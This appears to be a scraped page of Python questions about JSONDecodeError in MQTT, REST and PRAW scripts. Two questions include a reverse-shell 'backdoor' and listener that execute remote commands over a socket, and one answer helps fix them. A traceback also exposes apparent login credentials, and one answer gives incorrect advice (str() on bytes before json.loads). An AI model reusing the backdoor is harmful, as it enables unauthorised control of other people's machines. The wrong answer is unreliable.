I am trying to publish and subscribe messages in JSON format in python with paho-mqtt.
I am able to publish messages but to subscribe to a specific key value, I am getting many errors. Could you help me find the error and also provide me a solution. I am trying to print the value of method.
code:
def subscribe(client: mqtt_client):
def on_message(client, userdata, msg):
#print(f"Received `{msg.payload}` from `{msg.topic}` topic") #.decode()
#topic = msg.topic
m_decode = str(msg.payload.decode("utf-8", "ignore"))
print("data Received type", type(m_decode))
print("data Received", m_decode)
m_in = json.loads(m_decode) # decode json data
print(type(m_in))
print("method is = ", m_decode["method"])
client.subscribe(topic_sub)
client.on_message = on_message
The error message is as below:
Traceback (most recent call last):
File "C:\Users\Vinod Kumar\PycharmProjects\pythonProject\Flask\try1.py", line 76, in <module>
run()
File "C:\Users\Vinod Kumar\PycharmProjects\pythonProject\Flask\try1.py", line 73, in run
client.loop_forever()
File "C:\Users\Vinod Kumar\PycharmProjects\pythonProject\Flask\venv\lib\site-packages\paho\mqtt\client.py", line 1756, in loop_forever
rc = self._loop(timeout)
File "C:\Users\Vinod Kumar\PycharmProjects\pythonProject\Flask\venv\lib\site-packages\paho\mqtt\client.py", line 1164, in _loop
rc = self.loop_read()
File "C:\Users\Vinod Kumar\PycharmProjects\pythonProject\Flask\venv\lib\site-packages\paho\mqtt\client.py", line 1556, in loop_read
rc = self._packet_read()
File "C:\Users\Vinod Kumar\PycharmProjects\pythonProject\Flask\venv\lib\site-packages\paho\mqtt\client.py", line 2439, in _packet_read
rc = self._packet_handle()
File "C:\Users\Vinod Kumar\PycharmProjects\pythonProject\Flask\venv\lib\site-packages\paho\mqtt\client.py", line 3033, in _packet_handle
return self._handle_publish()
File "C:\Users\Vinod Kumar\PycharmProjects\pythonProject\Flask\venv\lib\site-packages\paho\mqtt\client.py", line 3327, in _handle_publish
self._handle_on_message(message)
File "C:\Users\Vinod Kumar\PycharmProjects\pythonProject\Flask\venv\lib\site-packages\paho\mqtt\client.py", line 3570, in _handle_on_message
on_message(self, self._userdata, message)
File "C:\Users\Vinod Kumar\PycharmProjects\pythonProject\Flask\try1.py", line 35, in on_message
m_in = json.loads(m_decode) # decode json data
File "C:\Users\Vinod Kumar\AppData\Local\Programs\Python\Python39\lib\json\__init__.py", line 346, in loads
return _default_decoder.decode(s)
File "C:\Users\Vinod Kumar\AppData\Local\Programs\Python\Python39\lib\json\decoder.py", line 337, in decode
obj, end = self.raw_decode(s, idx=_w(s, 0).end())
File "C:\Users\Vinod Kumar\AppData\Local\Programs\Python\Python39\lib\json\decoder.py", line 355, in raw_decode
raise JSONDecodeError("Expecting value", s, err.value) from None
json.decoder.JSONDecodeError: Expecting value: line 1 column 1 (char 0)
I guess there is a typo in your code :)
def subscribe(client: mqtt_client):
def on_message(client, userdata, msg):
#print(f"Received `{msg.payload}` from `{msg.topic}` topic") #.decode()
#topic = msg.topic
m_decode = str(msg.payload.decode("utf-8", "ignore"))
print("data Received type", type(m_decode))
print("data Received", m_decode)
m_in = json.loads(m_decode) # decode json data
print(type(m_in))
print("method is = ", m_decode["method"]) # <-- shall be m_in["method"]
client.subscribe(topic_sub)
client.on_message = on_message
Related
I started to learn video with teacher, where he use a python2. Can it be issue with my codes, cause i use python3?. I've two codes that connect each other (Listener + reverse_backdoor). I've issue with Listener, when i added JSON, my code doesn't work. Before JSON all works, but I can't use commands, for example: When I use 'dir' it shows me files in directory, and next I want to use 'cd', but I can't move in directory. This first why I want to use JSON. I want to realize function which type is 'upload, download'. Check Listener (but with JSON it don't show files for me, and break):
import socket, json
class Listener:
def __init__(self, ip, port):
listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
listener.bind((ip, port))
listener.listen(0)
print('[+] Waiting for incoming connections')
self.connection, address = listener.accept()
print('[+] Got a connection from ' + str(address))
def reliable_send(self, data):
json_data = json.dumps(data)
self.connection.send(json_data)
def reliable_receive(self):
json_data = self.connection.recv(1024)
return json.loads(json_data)
def execute_remotely(self, command):
self.reliable_send(command.encode())
return self.reliable_receive()
def run(self):
while True:
command = input('>> ')
result = self.execute_remotely(command)
print(result)
my_listener = Listener('0.0.0.0', 4444)
my_listener.run()
Traceback:
Traceback (most recent call last):
File "/root/PycharmProjects/new1/listener/listener.py", line 34, in <module>
my_listener.run()
File "/root/PycharmProjects/new1/listener/listener.py", line 30, in run
result = self.execute_remotely(command)
File "/root/PycharmProjects/new1/listener/listener.py", line 24, in execute_remotely
self.reliable_send(command.encode())
File "/root/PycharmProjects/new1/listener/listener.py", line 16, in reliable_send
json_data = json.dumps(data)
File "/usr/lib/python3.9/json/__init__.py", line 231, in dumps
return _default_encoder.encode(obj)
File "/usr/lib/python3.9/json/encoder.py", line 199, in encode
chunks = self.iterencode(o, _one_shot=True)
File "/usr/lib/python3.9/json/encoder.py", line 257, in iterencode
return _iterencode(o, 0)
File "/usr/lib/python3.9/json/encoder.py", line 179, in default
raise TypeError(f'Object of type {o.__class__.__name__} '
TypeError: Object of type bytes is not JSON serializable
Idk if you need to reverse_backdoor, check it:
import socket
import subprocess
import json
class Backdoor:
def __init__(self, ip, port):
self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.connection.connect((ip, port))
def reliable_send(self, data):
json_data = json.dumps(data)
self.connection.send(json_data)
def reliable_receive(self):
json_data = self.connection.recv(1024)
return json.loads(json_data)
def execute_system_command(self, command):
return subprocess.check_output(command.decode('utf-8'), shell=True)
def run(self):
while True:
command = self.reliable_receive()
command_result = self.execute_system_command(command)
self.reliable_send(command_result)
connection.close()
my_backdoor = Backdoor('0.0.0.0', 4444)
my_backdoor.run()
Traceback when I use command in the Listener:
Traceback (most recent call last):
File "C:\Users\IEUser\Downloads\reverse_backdoor.py", line 31, in <module>
my_backdoor.run()
File "C:\Users\IEUser\Downloads\reverse_backdoor.py", line 25, in run
command = self.reliable_receive()
File "C:\Users\IEUser\Downloads\reverse_backdoor.py", line 18, in reliable_receive
return json.loads(json_data)
File "C:\Python310\lib\json\__init__.py", line 346, in loads
return _default_decoder.decode(s)
File "C:\Python310\lib\json\decoder.py", line 337, in decode
obj, end = self.raw_decode(s, idx=_w(s, 0).end())
File "C:\Python310\lib\json\decoder.py", line 355, in raw_decode
raise JSONDecodeError("Expecting value", s, err.value) from None
json.decoder.JSONDecodeError: Expecting value: line 1 column 1 (char 0)
I made a script with a friend, unluckily the script does not run smoothly. It fails at some point and gives the following error:
Traceback (most recent call last):
File "restClient.py", line 157, in <module>
loop.run_until_complete(task)
File "/usr/lib/python3.7/asyncio/base_events.py", line 584, in run_until_complete
return future.result()
File "restClient.py", line 142, in func
available = client.getStockAmount(_product)
File "/root/brandcanyon/BrandCanyonApi/client.py", line 269, in getStockAmount
productId, productVariantId = self.findProductIdAndVariantId(product.name, product.size)
File "/root/brandcanyon/BrandCanyonApi/client.py", line 168, in findProductIdAndVariantId
product = self.getProductById(productId)
File "/root/brandcanyon/BrandCanyonApi/client.py", line 136, in getProductById
product = response.json()['data']
File "/usr/local/lib/python3.7/dist-packages/requests/models.py", line 900, in json
return complexjson.loads(self.text, **kwargs)
File "/usr/lib/python3.7/json/__init__.py", line 348, in loads
return _default_decoder.decode(s)
File "/usr/lib/python3.7/json/decoder.py", line 337, in decode
obj, end = self.raw_decode(s, idx=_w(s, 0).end())
File "/usr/lib/python3.7/json/decoder.py", line 355, in raw_decode
raise JSONDecodeError("Expecting value", s, err.value) from None
json.decoder.JSONDecodeError: Expecting value: line 1 column 1 (char 0)
The restClient.py File that the script is talking about is the following:
while True:
for product in page1:
for variant in product.attributes['variants']:
print(variant.attributes)
print(product.attributes['title'])
print(variant.attributes['option2'])
_product = Product(
name = product.attributes['title'],
size = variant.attributes['option2']
)
shopify.InventoryLevel.set(
location_id = location_id,
inventory_item_id = variant.inventory_item_id,
available = client.getStockAmount(_product)
)
print("++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++")
if page1.has_next_page():
page1 = page1.next_page()
else:
break
print("Inventory Updated - Waiting 350 seconds for next Update")
print("++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++")
await asyncio.sleep(20)
loop = asyncio.get_event_loop()
task = loop.create_task(func())
try:
loop.run_until_complete(task)
except asyncio.CancelledError:
pass
Do you know the error? Can you help me out?
Thank you so much!
I am trying to get an MQTT subscriber response with a message / ack to the publisher. If I use a string it works well but when I use a simple JSON I get a crash. I can not understand what I do wrong?
def on_message(client, userdata, msg):
print(msg.topic+' '+str(msg.payload))
message = json.loads(msg.payload)
id = message['id']
if id == 'foo123':
mqttc.connect(broker,broker_port,60)
time.sleep(3)
mqttc.publish(topic, 'ACK')
client = mqtt.Client()
client.connect(broker, broker_port, 60)
client.on_connect = on_connect
client.on_message = on_message
client.loop_forever()
With this code I get following
client.loop_forever()
File "/usr/local/lib/python3.9/site-packages/paho/mqtt/client.py", line 1779, in loop_forever
rc = self.loop(timeout, max_packets)
File "/usr/local/lib/python3.9/site-packages/paho/mqtt/client.py", line 1181, in loop
rc = self.loop_read(max_packets)
File "/usr/local/lib/python3.9/site-packages/paho/mqtt/client.py", line 1572, in loop_read
rc = self._packet_read()
File "/usr/local/lib/python3.9/site-packages/paho/mqtt/client.py", line 2310, in _packet_read
rc = self._packet_handle()
File "/usr/local/lib/python3.9/site-packages/paho/mqtt/client.py", line 2936, in _packet_handle
return self._handle_publish()
File "/usr/local/lib/python3.9/site-packages/paho/mqtt/client.py", line 3216, in _handle_publish
self._handle_on_message(message)
File "/usr/local/lib/python3.9/site-packages/paho/mqtt/client.py", line 3444, in _handle_on_message
self.on_message(self, self._userdata, message)
File "", line 22, in on_message
message = json.loads(msg.payload)
File "/usr/local/Cellar/python#3.9/3.9.0_1/Frameworks/Python.framework/Versions/3.9/lib/python3.9/json/__init__.py", line 346, in loads
return _default_decoder.decode(s)
File "/usr/local/Cellar/python#3.9/3.9.0_1/Frameworks/Python.framework/Versions/3.9/lib/python3.9/json/decoder.py", line 337, in decode
obj, end = self.raw_decode(s, idx=_w(s, 0).end())
File "/usr/local/Cellar/python#3.9/3.9.0_1/Frameworks/Python.framework/Versions/3.9/lib/python3.9/json/decoder.py", line 355, in raw_decode
raise JSONDecodeError("Expecting value", s, err.value) from None
json.decoder.JSONDecodeError: Expecting value: line 1 column 1 (char 0)
What I do not understand is why it works well with a string but not with JSON. Should be the same thing?
EDIT
The problem was when the ACK string came back and it expected JSON and not a string.
def on_message(client, userdata, msg):
print(msg.topic+' '+str(msg.payload))
if msg.payload != b'ACK':
try:
message = json.loads(msg.payload)
except Exception as e:
print("Couldn't parse raw data: %s" % msg.payload, e)
id = message['id']
print(type(id))
print(id)
if id == 'foo123':
time.sleep(3)
client.publish(topic, 'ACK')
Wrap msg.payload in str()
e.g.
def on_message(client, userdata, msg):
print(msg.topic+' '+str(msg.payload))
message = json.loads(str(msg.payload))
id = message['id']
if id == 'foo123':
client.publish(topic, 'ACK')
msg.payload is a byte array not a string, and json.loads() is expecting a string.
You also should NOT be creating a new client to publish message, just use the same one that is already connected.
i'm writing a clinet/server backdoor with python 3 and a have got error when running code
when i try to put some command on input
I got this error from client side:
Traceback (most recent call last): File "reverse_backdoor.py", line
31, in <module>
my_backdoor.run() File "reverse_backdoor.py", line 25, in run
command = self.relaible_receive() File "reverse_backdoor.py", line 18, in relaible_receive
return json.loads(json_data) File "/usr/lib/python3.7/json/__init__.py", line 348, in loads
return _default_decoder.decode(s) File "/usr/lib/python3.7/json/decoder.py", line 337, in decode
obj, end = self.raw_decode(s, idx=_w(s, 0).end()) File "/usr/lib/python3.7/json/decoder.py", line 355, in raw_decode
raise JSONDecodeError("Expecting value", s, err.value) from None json.decoder.JSONDecodeError: Expecting value: line 1 column 1 (char
0)
and i got this error from server side:
Traceback (most recent call last): File "listener.py", line 36, in
<module>
my_listener.run() File "listener.py", line 31, in run
result = self.execute_remotely(command) File "listener.py", line 25, in execute_remotely
self.reliable_send(command.encode('utf-8')) File "listener.py", line 17, in reliable_send
json_data = json.dumps(data) File "/usr/lib/python3.7/json/__init__.py", line 231, in dumps
return _default_encoder.encode(obj) File "/usr/lib/python3.7/json/encoder.py", line 199, in encode
chunks = self.iterencode(o, _one_shot=True) File "/usr/lib/python3.7/json/encoder.py", line 257, in iterencode
return _iterencode(o, 0) File "/usr/lib/python3.7/json/encoder.py", line 179, in default
raise TypeError(f'Object of type {o.__class__.__name__} ' TypeError: Object of type bytes is not JSON serializable
here is my listener:
#!/usr/bin/python
import json
import socket
class Listener:
def __init__(self, ip, port):
listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
listener.bind((ip, port))
listener.listen(0)
print("[+] Waiting for incoming connection")
self.connection, address = listener.accept()
print("[+] Got a connection from " + str(address))
def reliable_send(self, data):
json_data = json.dumps(data)
self.connection.send(json_data)
def relaible_receive(self):
json_data = self.connection.recv(1024)
return json.loads(json_data)
def execute_remotely(self, command):
self.reliable_send(command.encode('utf-8'))
return self.relaible_receive()
def run(self):
while True:
command = input('>>')
result = self.execute_remotely(command)
print(result)
my_listener = Listener("192.168.1.105", 4444)
my_listener.run()
And here is my backdoor:
#!/usr/bin/python
import socket
import subprocess
import json
class Backdoor:
def __init__(self, ip, port):
self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.connection.connect((ip, port))
def reliable_send(self, data):
json_data = json.dumps(data)
self.connection.send(json_data)
def relaible_receive(self):
json_data = self.connection.recv(1024)
return json.loads(json_data)
def execute_system_command(self, command):
return subprocess.check_output(command, shell=True)
def run(self):
while True:
command = self.relaible_receive()
command_result = self.execute_system_command(command.decode('utf-8'))
self.reliable_send(command_result)
my_backdoor = Backdoor("192.168.1.105", 4444)
my_backdoor.run()
You're encoding before sending to json.dumps. Encode after:
>>> import json
>>> json.dumps('command'.encode('utf8'))
...
TypeError: Object of type 'bytes' is not JSON serializable
>>> json.dumps('command').encode('utf8')
b'"command"'
I'm trying to learn Python and at the same time learn PRAW. I'm trying to run the below from PyCharm and keeping the error that is below. The code below is the basic first tutorial.
import time
import praw
r = praw.Reddit('PRAW related-question monitor by u/_Daimon_ v 1.0.'
'Url: https://praw.readthedocs.org/en/latest/'
'pages/writing_a_bot.html')
r.login()
already_done = []
prawWords = ['praw', 'reddit_api', 'mellort']
while True:
subreddit = r.get_subreddit('learnpython')
for submission in subreddit.get_hot(limit=10):
op_text = submission.selftext.lower()
has_praw = any(string in op_text for string in prawWords)
# Test if it contains a PRAW-related question
if submission.id not in already_done and has_praw:
msg = '[PRAW related thread](%s)' % submission.short_link
r.send_message('_Daimon_', 'PRAW Thread', msg)
already_done.append(submission.id)
time.sleep(1800)
Error
C:\Python34\python.exe C:/Users/Administrator/PycharmProjects/untitled1/Reddit
Traceback (most recent call last):
File "C:/Users/Administrator/PycharmProjects/untitled1/Reddit", line 6, in <module>
r.login('rbevans', 'bowstead')
File "C:\Python34\lib\site-packages\praw\__init__.py", line 1266, in login
self.user = self.get_redditor(user)
File "C:\Python34\lib\site-packages\praw\__init__.py", line 890, in get_redditor
return objects.Redditor(self, user_name, *args, **kwargs)
File "C:\Python34\lib\site-packages\praw\objects.py", line 663, in __init__
fetch, info_url)
File "C:\Python34\lib\site-packages\praw\objects.py", line 72, in __init__
self.has_fetched = self._populate(json_dict, fetch)
File "C:\Python34\lib\site-packages\praw\objects.py", line 127, in _populate
json_dict = self._get_json_dict() if fetch else {}
File "C:\Python34\lib\site-packages\praw\objects.py", line 120, in _get_json_dict
as_objects=False)
File "C:\Python34\lib\site-packages\praw\decorators.py", line 161, in wrapped
return_value = function(reddit_session, *args, **kwargs)
File "C:\Python34\lib\site-packages\praw\__init__.py", line 526, in request_json
data = json.loads(response, object_hook=hook)
File "C:\Python34\lib\json\__init__.py", line 318, in loads
return _default_decoder.decode(s)
File "C:\Python34\lib\json\decoder.py", line 343, in decode
obj, end = self.raw_decode(s, idx=_w(s, 0).end())
File "C:\Python34\lib\json\decoder.py", line 361, in raw_decode
raise ValueError(errmsg("Expecting value", s, err.value)) from None
ValueError: Expecting value: line 1 column 1 (char 0)
sys:1: ResourceWarning: unclosed <socket.socket fd=632, family=AddressFamily.AF_INET, type=SocketType.SOCK_STREAM, proto=0, laddr=('172.29.138.114', 50568), raddr=('198.41.208.139', 80)>
sys:1: ResourceWarning: unclosed <ssl.SSLSocket fd=608, family=AddressFamily.AF_INET, type=SocketType.SOCK_STREAM, proto=0, laddr=('172.29.138.114', 50566), raddr=('198.41.208.142', 443)>
C:\Python34\lib\importlib\_bootstrap.py:2150: ImportWarning: sys.meta_path is empty
Process finished with exit code 1